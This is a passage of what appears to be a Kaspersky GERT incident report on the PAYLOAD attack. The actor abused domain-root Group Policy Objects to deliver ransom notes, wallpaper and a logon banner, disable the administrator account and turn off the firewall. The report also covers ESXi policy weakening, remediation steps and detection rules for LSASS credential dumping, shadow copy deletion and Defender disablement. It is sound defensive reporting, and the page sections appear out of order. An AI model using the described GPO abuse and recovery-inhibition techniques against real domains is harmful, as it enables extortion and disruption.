id="forensic-indicators">Forensic indicators</h5> <ul> <li>Unexpected .sys files written to user-writable or temporary directories</li> <li>New kernel driver services</li> <li>Sysmon Event ID 6</li> <li>Driver hashes matching Microsoft or community vulnerable driver blocklists</li> <li>Invalid, revoked, expired, or unusual driver signatures</li> <li>Driver load followed by EDR termination</li> <li>New privileged processes immediately following driver loading</li> <li>Code Integrity or Defender alerts</li> <li>Service creation events referencing driver files</li> </ul> <h4 id="esxi-security-policy-weakening">ESXi security policy weakening</h4> <p>Ransomware operators are increasingly targeting ESXi and vCenter because compromising the virtualization layer provides access to many business-critical virtual machines.</p> <p>Public research typically describes operators performing the following activities (T1685, T1490 and T1489):</p> <ul> <li>Enabling SSH on ESXi hosts</li> <li>Changing root passwords</li> <li>Disabling <code>execInstalledOnly</code></li> <li>Modifying lockdown mode exceptions</li> <li>Stopping virtual machines</li> <li>Deleting snapshots and backups</li> <li>Changing host firewall policies</li> <li>Copying custom ransomware binaries to hypervisors</li> </ul> <p>On the target organization’s Linux servers we saw an ESXi PAYLOAD variant, which makes this behavior operationally relevant. Nevertheless, the reviewed evidence does not indicate that PAYLOAD operators used any of these policy-weakening actions in the investigated incident.</p> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Unexpected ESXi SSH enablement</li> <li>Changes to <code>execInstalledOnly</code></li> <li>Secure Boot enforcement changes</li> <li>Lockdown mode configuration changes</li> <li>Root password changes</li> <li>New or unusual administrator accounts</li> <li>Bulk VM shutdown activity</li> <li>Bulk snapshot deletion</li> <li>New binaries in datastore or temporary paths</li> <li>vCenter tasks originating from unexpected accounts or systems</li> <li>Missing or disabled remote syslog forwarding</li> </ul> <h2 id="remediation">Remediation</h2> <p>To contain the described threat and limit possible damage, several remediation steps should be taken. Below, we recommend a four-phase remediation approach for containing this threat and restoring the affected environment.</p> <h3 id="phase-1-domain-controller-actions-to-be-performed-first">Phase 1 — domain controller actions (to be performed first)</h3> <p>When dealing with PAYLOAD GPO, the first priority of the remediation plan should be to remove the source GPOs. Until this is done, endpoint cleanup is ineffective because the next policy refresh re-infects cleaned machines.</p> <p>The immediate domain controller actions to be taken are:</p> <ol> <li>Delete PAYLOAD GPO. Remove {C897F2C7-C2AC-4E6F-BF48-58036FF29E79} via GPMC.</li> <li>Delete or revert win Firewall Off GPO. Remove {22099AD2-E062-4F56-B574-5099BBA4E7A6}.</li> <li>Clean SYSVOL. Delete jpg and hello.txt from \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.</li> <li>Rotate credentials. Reset the compromised account; audit all privileged accounts and group memberships for unauthorized changes; rotate krbtgt twice if domain admin compromise is confirmed.</li> <li>Force refresh. Perform <code>gpupdate /force</code> across endpoints after deletion; re-enable local administrator and firewall via clean policy.</li> </ol> <h3 id="phase-2-active-directory-and-gpo-hardening">Phase 2 — Active Directory and GPO hardening</h3> <ul> <li>Adopt the AD tiered administration model and confine domain admins to Tier 0 with no interactive logon to workstations and member servers.</li> <li>Separate GPO creation from GPO linking rights, and grant both only to a dedicated, audited administrator role.</li> <li>Enable GPO change auditing (Event IDs 5136, 5137, 5141) and forward to a SIEM.</li> <li>Monitor SYSVOL with file integrity tooling.</li> </ul> <h3 id="phase-3-credential-and-access-hardening">Phase 3 — credential and access hardening</h3> <ul> <li>Enforce phishing-resistant MFA on all VPN and remote access entry points.</li> <li>Deploy Windows LAPS to generate unique, rotated local administrator passwords.</li> <li>Enable <a href="https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/" rel="noopener" target="_blank">Credential Guard</a> to protect LSASS-resident secrets.</li> <li>Adopt Privileged Access Workstations (PAW) for all administration.</li> <li>Implement just-in-time elevation through Privileged Identity Management (PIM) for domain admin.</li> </ul> <h3 id="phase-4-detection-and-monitoring">Phase 4 — detection and monitoring</h3> <ul> <li>SIEM rule: GPO creation or domain-root <code>gPLink</code> change by a non-standard account.</li> <li>SIEM rule: file creation events under SYSVOL from non-replication sources.</li> <li>Implement enhanced, centrally collected FortiGate SSL VPN logging (auth events, session detail, source IP geolocation, impossible travel check) and detailed perimeter monitoring.</li> <li>Deploy a canary GPO whose application anywhere signals attacker GPO write access.</li> </ul> <h2 id="conclusion">Conclusion</h2> <p>PAYLOAD demonstrates a maturing tactic of turning the victim’s own trusted infrastructure into a weapon. By weaponizing Group Policy, the actor achieved a domain-wide impact without a single malicious binary on any endpoint, evaded file- and process-based detection entirely, and caused organization-wide disruption within seconds of the first reboot.</p> <p>The absence of encryption is the most strategically significant finding and is consistent with the <a href="https://securelist.com/state-of-ransomware-in-2026/119761/#the-shift-to-encryptionless-extortion" rel="noopener" target="_blank">2026 trend toward encryptionless extortion</a>. At Kaspersky GERT, we assess with moderate confidence that the missing encryption reflects one of two scenarios: (1) a deliberate decision to stay below the irreversible data destruction threshold while preserving the option of a follow-on encryption phase, or (2) an operation interrupted before full execution.</p> <p>The absence of encrypted files must not be mistaken for the absence of a serious compromise — the most critical impact lies in the actor gaining domain admin-level control. This incident proves that a threat actor with domain admin access and a working knowledge of group policy internals can inflict domain-wide disruption equivalent to a ransomware attack without writing a single malicious file to any endpoint.</p> <p>Detection strategies anchored solely in file- or process-based indicators are blind to this attack class. Effective controls include directory service change auditing, SYSVOL integrity monitoring, and privileged access governance, which allow for GPO protection.</p> <h2 id="detection-by-kaspersky-solutions">Detection by Kaspersky solutions</h2> <p>Kaspersky security solutions effectively detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.<br/> To protect organizations that use our <a href="https://www.kaspersky.com/enterprise-security/unified-monitoring-and-analysis-platform?icid=gl_sl_siem-inpost-link_sm-team_c6da27b0f60ba483" rel="noopener" target="_blank">Kaspersky SIEM</a> system, we have prepared a package of correlation rules designed to help detect this type of malicious activity. The rules are now available for customers to download from the SIEM repository; the package name is: <code>[OOTB] Group policy hijacked: PAYLOAD ransomware – ENG.</code></p> <p>The <strong>“Group policy hijacked: PAYLOAD ransomware” </strong>package contains rules that detect suspicious file creation or modification in the SYSVOL shared folder on a domain controller, as well as changes to critical attributes and settings of domain group policies. Some rules may require adjustment if they trigger in response to legitimate activity, such as synchronization between domain controllers or the configuration of a new group policy.</p> <p>To ensure the detection rules function correctly, verify that events from Windows systems are being received in full, including events with the following identifiers: Sysmon: 11, Security — 4663, 5136, 4657.</p> <p>We also recommend applying the following rules available in the repository to detect all attack stages.</p> <ul> <li>Detection of Windows Event Log clearing to cover up traces of an attack: <code>R050_03_Windows Event Log was cleared</code></li> <li>Detection of suspicious access to the LSASS process, which may indicate attempts to dump credentials: <code>R262_Suspicious access to the LSASS process</code></li> <li>Detection of the Volume Shadow Copy service being started, which is used to create shadow copies before deleting them: <code>R231_20_Running the Volume Shadow Copy service</code></li> <li>Detection of shadow copy deletion: <code>R321_Shadow copy deletion</code></li> <li>Detection of Windows Defender disablement: <code>R076_01_Windows Defender Antivirus was disabled</code></li> <li>Detection of attempts to disable or modify the system firewall: <code>R240_03_Disabling system firewall via the registry</code></li> <li>Detection of a service inst</li></ul></div></div></div></div></div></div> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-800x400.jpg 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image.jpg 2000w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/11153056/payload-ransomware-featured-image-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="executive-summary">Executive summary</h2> <p>In April 2026, we at Kaspersky’s Global Emergency Response Team (GERT) responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization’s Active Directory environment and authored a malicious Group Policy Object (GPO) named PAYLOAD, linking it at the domain root. Through that single object, the actor delivered ransom notes, hijacked the desktop wallpaper and lock screen, enforced a logon banner, and disabled the local administrator account across every domain-joined Windows workstation — all without dropping a ransomware binary or encrypting any data. The only ransomware we found in this incident was PAYLOAD sample targeting ESXi on Linux servers. Besides that, data exfiltration was observed originating from the file servers and several additional systems, and was later published on the dark web.</p> <p>This case is an example of two converging trends that define <a href="https://securelist.com/state-of-ransomware-in-2026/119761/" rel="noopener" target="_blank">the 2026 ransomware landscape</a>:</p> <ol> <li>Living-off-the-land abuse of trusted AD infrastructure. Group Policy is a signed, allowlisted, SYSTEM-privileged distribution channel that the majority of endpoint detection and response tools is designed not to inspect. By delivering impact through GPO rather than through malware, the actor sidestepped the entire file- and process-based detection stack.</li> <li>Encryptionless extortion. <a href="https://www.security.com/threat-intelligence/ransomware-extortion-epidemic" rel="noopener" target="_blank">Industry telemetry shows</a> extortion-only incidents grow significantly year-on-year. PAYLOAD fits this model; the leverage is operational disruption and the threat of escalation rather than cryptographic denial of data.</li> </ol> <p>We confirmed that no files were encrypted on Windows machines, no malicious binaries were resident on disk, no endpoint persistence was established, and no malicious processes were running at the time of analysis. The entire attack lived inside Active Directory itself. The defensive implication is stark: an organization whose detection strategy depends on catching a ransomware executable would have seen nothing until the first endpoint rebooted and the ransom wallpaper appeared.</p> <p>In this article, we will describe the GPO attack chain and provide operational advice on how to detect such threats, including detailed remediation recommendations.</p> <h2 id="group-policy-as-an-attack-surface">Group Policy as an attack surface</h2> <p>Attacks through group policies are nothing new. They can inflict significant, domain-wide damage with multiple malicious capabilities. A Group Policy Object (GPO) is essentially a combination of a Group Policy Container (GPC) in Active Directory and a Group Policy Template (GPT) in SYSVOL. The Group Policy scope depends on whether the GPC is linked to the directory tree at the domain, site, or organization unit (OU) level. A link at the domain root means the policy applies to every computer and user object beneath it. Thus, a GPO compromised at the domain root can affect all in-scope domain users and computers, potentially granting an attacker complete control over the corporate network. What makes GPO abuse even more dangerous is that group policies are processed in a trusted, high-privilege environment, ensuring persistence because endpoint cleanup is not enough to remove them.</p> <p>We have already discussed GPO architecture and ways it can be compromised in greater detail <a href="https://securelist.com/group-policies-in-cyberattacks/115331/" rel="noopener" target="_blank">in an earlier blog post</a>. Other public threat intelligence has also repeatedly documented this technique in ransomware operations. Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/" rel="noopener" target="_blank">observed</a> Ryuk operators distributing ransomware through Group Policy, SYSVOL startup items, and PsExec. LockBit affiliates <a href="https://www.kaspersky.com/blog/ransomware-group-policies/40877/" rel="noopener" target="_blank">have been documented</a> modifying SYSVOL Group Policy files, including ScheduledTasks.xml, to support ransomware execution and propagation. BlackCat/ALPHV operators <a href="https://www.ibm.com/think/x-force/blackcat-ransomware-levels-up-stealth-speed-exfiltration" rel="noopener" target="_blank">have also abused GPOs</a> to create scheduled tasks and deploy ransomware.</p> <p>Another notable example of GPO abuse is PAYLOAD ransomware, which weaponizes GPO Preferences and policy settings for pure impact rather than as a launcher for an encryptor. Let’s take a closer look at this attack, which is detailed further below.</p> <h2 id="attack-timeline">Attack timeline</h2> <p>During the April 2026 investigation, we managed to reconstruct the attack timeline as outlined below:</p> <table> <tbody> <tr> <td><strong>Date</strong></td> <td><strong>Event</strong></td> </tr> <tr> <td>11 April</td> <td><strong>Initial access.</strong> Threat actor authenticates to the FortiGate SSL VPN using a valid but compromised domain credential.</td> </tr> <tr> <td>13 April</td> <td><strong>GPO authored.</strong> Malicious GPO, PAYLOAD ({C897F2C7-C2AC-4E6F-BF48-58036FF29E79}) created and linked at the domain root, configuring ransom notes, wallpaper, lock screen, logon banner, and administrator account disablement.</td> </tr> <tr> <td>13 April</td> <td><strong>SYSVOL staging.</strong> The payload.jpg and hello.txt files written to \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.</td> </tr> <tr> <td>13 April</td> <td><strong>Second GPO.</strong> GPO named win Firewall Off ({22099AD2-E062-4F56-B574-5099BBA4E7A6}) linked at the domain root, disabling Windows Firewall on all profiles.</td> </tr> <tr> <td>13 April</td> <td><strong>Dormancy.</strong> GPO cached on endpoints but computer configuration not yet applied — no endpoint had rebooted since the policy update.</td> </tr> <tr> <td>13 April</td> <td><strong>Data exfiltration.</strong> Data exfiltration was observed originating from the file servers and several additional systems.</td> </tr> <tr> <td>14 April</td> <td><strong>Detonation.</strong> Most of the endpoints begin rebooting; computer configuration policies apply. Ransom wallpaper, logon banner, and notes appear. Operational disruption begins.</td> </tr> <tr> <td>15 April</td> <td><strong>Response.</strong> Kaspersky GERT engaged. Forensic triage of affected workstations and the domain controller initiated.</td> </tr> <tr> <td>16 April</td> <td><strong>Assessment.</strong> GERT confirms no file encryption, no resident malware, no endpoint persistence.</td> </tr> </tbody> </table> <p>Next, we will discuss each of these stages in more detail and share the findings from our incident response activities.</p> <h2 id="incident-overview">Incident overview</h2> <h3 id="initial-access">Initial access</h3> <p>The entry vector was a compromised valid account (MITRE ATT&amp;CK T1078) used to authenticate through the organization’s FortiGate SSL VPN — an external remote service (T1133). Insufficient logging on the FortiGate appliance prevented us from reconstructing how the credential was originally compromised.</p> <p>Three hypotheses were considered plausible in the context of the attack, in no particular order:</p> <ul> <li>Password spraying or credential stuffing against the SSL VPN portal.</li> <li>Phishing-led credential harvesting.</li> <li>Purchase of pre-compromised credentials from an initial access broker (IAB).</li> </ul> <p>Once on the internal network, the actor operated with the compromised security principal’s privileges. Because the account was able to create and link a GPO at the domain root, it held either domain admin privileges or a delegated equivalent (e.g., membership of Group Policy Creator Owners combined with link rights on the domain object).</p> <p>FortiGate SSL VPN authentication logs and ESXi/virtualization privilege escalation logs were insufficient to reconstruct the lateral movement and privilege escalation chain between initial VPN access and the GPO write privilege level. The most common real-world routes to GPO control — <a href="https://attack.mitre.org/techniques/T1003/006/" rel="noopener" target="_blank">DCSync</a>, Kerberoasting of privileged service accounts, and Pass-the-Hash/Pass-the-Ticket — could not be confirmed or ruled out.</p> <h3 id="execution">Execution</h3> <p>Rather than deploying an encryptor, the actor abused the victim’s Active Directory policy infrastructure, resulting in malicious GPOs being configured and linked at the domain root to deliver the observed impact across domain-joined systems. The two GPOs below constitute the entire offensive toolkit observed.</p> <p>We performed a Resultant Set of Policy (RSOP) analysis, which helped us list all policy settings on the affected workstations. From these results, we reconstructed the following changes delivered by PAYLOAD:</p> <table width="100%"> <tbody> <tr> <td><strong>GPO extension/CSE</strong></td> <td><strong>Setting/path</strong></td> <td><strong>Configured value/resulting action</strong></td> </tr> <tr> <td>Files (Group Policy Preference)</td> <td>Source SYSVOL\hello.txt → Desktop, C:\, D:\</td> <td>Dropped as README-payload.txt (ReadOnly)</td> </tr> <tr> <td>Registry (Computer)</td> <td>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption</td> <td>Welcome to Payload!</td> </tr> <tr> <td>Registry (Computer)</td> <td>HKLM\…\Policies\System\legalnoticetext</td> <td>(ransom demand text)</td> </tr> <tr> <td>Personalization Policy</td> <td>Lock Screen Image</td> <td>\\DC.THECOMPANY.local\sysvol…\payload.jpg</td> </tr> <tr> <td>Desktop Policy (User)</td> <td>Wallpaper path</td> <td>\\DC.THECOMPANY.local\sysvol…\payload.jpg</td> </tr> <tr> <td>Security Settings (GptTmpl.inf)</td> <td>Accounts: Administrator account status</td> <td>Disabled</td> </tr> </tbody> </table> <p>The PAYLOAD GPO enabled the following actions:</p> <ol> <li>Drop SYSVOL\hello.txt to the desktop and root directories C:\ and D:\ as a read-only README-payload.txt by tampering with the “Group Policy Files” client-side extension (CSE).</li> <li>Modify the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ registry key, changing the <code>legalnoticecaption</code> value to <code>"Welcome to Payload!"</code> and the <code>legalnoticetext</code> to the ransom note text through the “Group Policy Registry” CSE.</li> <li>Set payload.jpg located in the targeted domain controller’s SYSVOL as the lock screen image by altering the personalization policy, and as the wallpaper by altering the desktop policy at the user level.</li> <li>Revoke administrator rights for the administrator account (locking the account) by editing the Security Settings CSE in the GptTmpl.inf file.</li> </ol> <p><div class="post-gallery-wrapper _post _post-4519" data-id="4519"><div class="post-gallery"><div class="post-gallery__item"><img alt="Settings changed by PAYLOAD GPO" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1.png 754w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1-300x159.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1-660x350.png 660w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1-740x393.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1-528x280.png 528w" decoding="async" height="400" sizes="auto, (max-width: 754px) 100vw, 754px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190000/payload-ransomware1.png" srcset="" width="754" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="Settings changed by PAYLOAD GPO" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-1024x427.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-1024x427.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-300x125.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-768x320.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-839x350.png 839w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-740x309.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-671x280.png 671w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-800x334.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2.png 1319w" decoding="async" height="427" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190025/payload-ransomware2-1024x427.png" srcset="" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="Settings changed by PAYLOAD GPO" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-1024x368.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-1024x368.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-300x108.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-768x276.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-974x350.png 974w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-740x266.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-779x280.png 779w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-800x288.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3.png 1494w" decoding="async" height="368" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190046/payload-ransomware3-1024x368.png" srcset="" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="Settings changed by PAYLOAD GPO" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-1024x178.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-1024x178.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-300x52.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-768x134.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-740x129.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-800x139.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4.png 1532w" decoding="async" height="178" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190105/payload-ransomware4-1024x178.png" srcset="" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div></div></div><br/> <strong><em>Settings changed by PAYLOAD GPO</em></strong></p> <p>This activity was enabled entirely through a legitimate group policy mechanism, meaning there is no malware code for security solutions to look for because the malicious logic is contained within the policy configuration.</p> <h4 id="the-win-firewall-off-gpo">The win Firewall Off GPO</h4> <p>A second domain-root-linked GPO, named “win Firewall Off”, disabled Windows Firewall across the domain, private and public profiles on all endpoints (T1562.004). Deployed independently of PAYLOAD, this object degraded host defenses and ensured the actor retained unimpeded network reach to endpoints for any follow-on activity.</p> <div class="wp-caption aligncenter" id="attachment_121367-2" style="width: 1267px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5.png"><img alt="Settings changed by win Firewall Off GPO" aria-describedby="caption-attachment-121367-2" class="size-full wp-image-121367" decoding="async" height="293" sizes="auto, (max-width: 1257px) 100vw, 1257px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5.png 1257w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-300x70.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-1024x239.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-768x179.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-740x172.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-1201x280.png 1201w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/18190824/payload-ransomware5-800x186.png 800w" width="1257" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121367-2">Settings changed by win Firewall Off GPO</p></div> <h4 id="the-one-day-delay-detonation">The one-day delay detonation</h4> <p>The most forensically instructive detail is the one-day gap between GPO creation (13 April) and visible impact (14 April). Analysis of Master File Table (MFT) timestamps and the Group Policy History registry key confirmed the policy was written to SYSVOL and cached on endpoints on 13 April. However, computer configuration settings (wallpaper and lock screen machine policy, security settings, firewall disabling) only apply upon reboot or policy refresh — and no endpoint had rebooted in the interim. The attack therefore remained dormant in the GPO cache for one day before detonating en masse when machines were restarted in accordance with standard procedures.</p> <p>We have to point out here that this delayed policy application is characteristic of GPO-based operations and has two potential consequences for defenders. Firstly, it may grant the actor a quiet window for exfiltration, persistence, or further staging between weaponization and impact. Secondly, it can be used to sever the temporal link between the cause (a GPO-creation event in the directory log) and the effect (mass user-visible disruption occurring at a later time), complicating timeline reconstruction unless directory service auditing is in place.</p> <h2 id="forensic-findings">Forensic findings</h2> <p>Initial incident response engagement revealed a number of findings associated with the attack that we share below.</p> <ol> <li><strong>No file encryption</strong><br/> A full review of the MFT on affected workstations found no files bearing a .payload extension characteristic to PAYLOAD ransomware and no evidence of bulk renaming or encryption I/O patterns. The attackers’ objectives were operational disruption and extortion via visual impact and access denial.</li> <li><strong>No endpoint persistence</strong><br/> All standard persistence locations were clean: <ul> <li>Scheduled tasks — no malicious tasks</li> <li>Run/RunOnce keys — clean</li> <li>Startup folders (user and system) — clean</li> <li>Services — no malicious service installed</li> <li>WMI event subscriptions — none</li> <li>Boot sector/MBR — unmodified</li> </ul> <p>The attack’s persistence mechanism is the GPO link itself on the domain controller, with no endpoint-resident component.</p></li> <li><strong>No active malicious processes</strong><br/> Live process and memory analysis revealed no injected threads, process hollowing or anomalous outbound connections.</li> <li><strong>Registry timeline analysis</strong><br/> Group Policy History, Shadow and State registry keys on the workstation recorded the application of PAYLOAD on 13 April:<br/> HKLM\…\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\1<br/> HKLM\…\Group Policy\Shadow\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}\0<br/> HKLM\…\Group Policy\State\Machine\GPO-List\7<br/> HKCU\…\Group Policy\History\{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}\1<br/> HKCU\…\Group Policy\State\S-1-5-21-…\Loopback-GPO-List\5<br/> The presence of the “Loopback-GPO-List” entry indicates the GPO was processed <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/group-policy/loopback-processing-of-group-policy" rel="noopener" target="_blank">in loopback mode</a>, ensuring the user configuration (wallpaper) applied regardless of which user logged on to the machine.</li> <li><strong>SYSVOL artifacts</strong><br/> Two files were staged on the domain controller’s SYSVOL share and served to endpoints through the Files Group Policy Preference CSE: <ul> <li>payload.jpg — the ransom image used for both wallpaper and lock screen.</li> <li>hello.txt — the ransom note, distributed to desktops and drive roots as README-payload.txt.</li> </ul> </li> </ol> <h2 id="detection-engineering">Detection engineering</h2> <p>Because no malicious binary or process exists, the detection logic should focus on the directory service and SYSVOL indicators. Below are the highest-value telemetry sources for identifying the described malicious activity.</p> <ul> <li><strong>Directory service change auditing (DS Access)</strong><br/> Enable Advanced Audit Policy → DS Access → Audit Directory Service Changes on all domain controllers and set up alerts for the following events: <table> <tbody> <tr> <td width="15%"><strong>Event ID</strong></td> <td><strong>Meaning</strong></td> <td><strong>Hunt focus</strong></td> </tr> <tr> <td>5137</td> <td>A directory service object was created</td> <td>The account that created new <code>groupPolicyContainer</code> objects must be an authorized GPO administrator</td> </tr> <tr> <td>5136</td> <td>A directory service object was modified</td> <td>Changes to <code>gPLink</code> on the domain root or sensitive organizational units; changes to <code>gPCMachineExtensionNames</code>/<code>gPCUserExtensionNames</code>/<code>gPCFileSysPath</code>/<code>versionNumber</code> for all GPOs</td> </tr> <tr> <td>5141</td> <td>A directory service object was deleted</td> <td>GPO deletions (relevant for tamper detection and remediation assessment)</td> </tr> </tbody> </table> <p>A <code>gPLink</code> modification at the domain root by a non-standard account is one of the most telling indicators of this attack class.</p></li> <li><strong>SYSVOL file integrity monitoring</strong><br/> Monitor \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\Policies\ for unexpected files, particularly image files, text files, scripts, ScheduledTasks.xml, and modified registry.pol/GptTmpl.inf files that were created by sources other than legitimate replication.</li> <li><strong>Endpoint policy application telemetry</strong><br/> On endpoints, GPO application is logged in the Group Policy Operational log (Microsoft-Windows-GroupPolicy/Operational) and reflected in the History and Shadow registry keys shown above. A sudden domain-wide change to the applied policy set is a strong post-detonation signal.</li> <li><strong>Missing 5136 events</strong><br/> If the contents of a GPO’s SYSVOL change without a corresponding 5136 event, this can indicate direct SYSVOL/template editing (e.g., via open-source tools such as PowerView or SharpGPOAbuse) that bypasses the normal Group Policy Management Console (GPMC) modification path. While we recommend treating the absence of expected audit events as suspicious, it should be noted that this can be caused by misconfigured auditing.</li> </ul> <h2 id="anti-forensics-and-recovery-inhibition-capabilities">Anti-forensics and recovery-inhibition capabilities</h2> <p>The Windows endpoint attack described in this report was implemented through malicious Group Policy Objects and did not involve a recovered ransomware 